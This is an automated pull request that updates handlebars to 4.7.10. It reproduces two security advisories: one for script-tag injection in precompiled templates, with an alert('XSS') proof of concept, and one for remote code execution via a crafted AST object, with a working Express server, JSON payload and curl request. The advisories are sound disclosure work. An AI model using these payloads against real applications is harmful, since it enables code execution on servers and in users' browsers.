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Update dependency handlebars to v4.7.10 [SECURITY] - #3633

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Oct 17, 2026
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This PR contains the following updates:

Package Change Age Confidence
handlebars (source) 4.7.9 → 4.7.10 age confidence

Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates

CVE-2026-106444 / GHSA-xw65-4hp5-5hc7

More information

Details

Summary

Handlebars.precompile() generates JavaScript source that is commonly embedded in browser <script> elements. Before the fix, static template text containing </script> was emitted unchanged. HTML parsers recognize </script> even inside a JavaScript string literal, closing the surrounding script element and allowing following attacker-controlled markup to be parsed and executed.

This affects applications that precompile attacker-controlled templates and embed the generated source directly in an HTML <script> element. It does not affect ordinary server-side rendering or precompiled templates delivered as external JavaScript files.

Details

Static text is serialized by quotedString() in lib/handlebars/compiler/code-gen.js. The generated JavaScript is valid, but JavaScript quoting alone does not make it safe to embed in HTML. In HTML script data, the sequence </script> terminates the element regardless of JavaScript string context.

On affected releases, this template:

safe</script><script>alert("XSS")</script><script>

could produce generated source containing:

return 'safe</script><script>alert("XSS")</script><script>';

When included inline in an HTML document, the first </script> closes the script containing the precompiled template. The next <script> element is then parsed as HTML and executes.

Proof of Concept
const Handlebars = require('handlebars');

const template = 'safe</script><script>alert("XSS")</script><script>';
const output = Handlebars.precompile(template);

console.log(output.includes('</script>'));

Affected versions print true. Embedding output directly in an inline <script> element allows the injected script tag to be parsed by the browser.

Workarounds
  • Do not inline precompiled output from untrusted templates into HTML documents.
  • Serve generated precompiled templates as external JavaScript files where practical.
Credits

Reported by Curly-Haired-Baboon Aka Laplas

Severity

  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

CVE-2026-106446 / GHSA-8r5x-fm3f-whwj

More information

Details

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value Written into generated code as Compile options needed
Program.blockParams.length container.program(<index>, data, <length>) none (default options)
depth on a param that is not a PathExpression, e.g. a StringLiteral depths[<depth>] stringParams: true
A StringLiteral.value that is not a string raw JavaScript literal stringParams: true
A PathExpression.original that is not a string raw JavaScript literal stringParams: true

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

  1. the blockParams object has no type, so none of the type-specific checks apply, and
  2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept
  1. Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);
  1. Save this request body as poc.json. missingHelper does not need to exist:
{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}
  1. Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000
Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

  • compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
  • precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.
Workarounds
  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
    if (typeof templateInput !== 'string') {
      throw new TypeError('Template must be a string');
    }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.
Credits
Variant Program.blockParams
Variant BooleanLiteral|NumberLiteral.value
Variant PathExpression.depth

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

handlebars-lang/handlebars.js (handlebars)

v4.7.10

Compare Source

  • security: Sanitize the source map URL when minifying - f37c599
  • security: Iterate lazily in #each and strip whitespace in linear time - 812c226
  • security: Escape <!-- and <script in precompiled output - 609d1b1 GHSA-xw65-4hp5-5hc7
  • security: Don't trust special properties on context data - ceec388 GHSA-p8wg-vrv2-v86f
  • security: Only compile partials that are template strings - c28ee7a
  • security: Only dispatch known node types in the Compiler and Visitor - 7d501a5
  • security: Validate AST values in the compiler instead of the parser - 703fdcc GHSA-8r5x-fm3f-whwj
  • Clarify that --root does not restrict filesystem access - 0fcf25c
  • Bump minimist to ^1.2.8 - ea8ed82
  • Fix Ruby component publishing documentation - d069c1c
  • Fix Composer component definition - 6714e07

Compatibility notes:

  • {{#each}} iterates iterables such as Map, Set and generators lazily, like for...of, instead of
    copying them into an array first. Values added to the iterable while the block renders are now visited too.

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This PR has been generated by Mend Renovate CLI.

Update handlebars from 4.7.9 to 4.7.10

Change-type: patch
@balena-renovate
balena-renovate Bot enabled auto-merge October 17, 2026 10:56
@balena-renovate
balena-renovate Bot merged commit a8d625e into main Oct 17, 2026
53 of 54 checks passed
@balena-renovate
balena-renovate Bot deleted the renovate/npm-handlebars-vulnerability branch October 17, 2026 10:59
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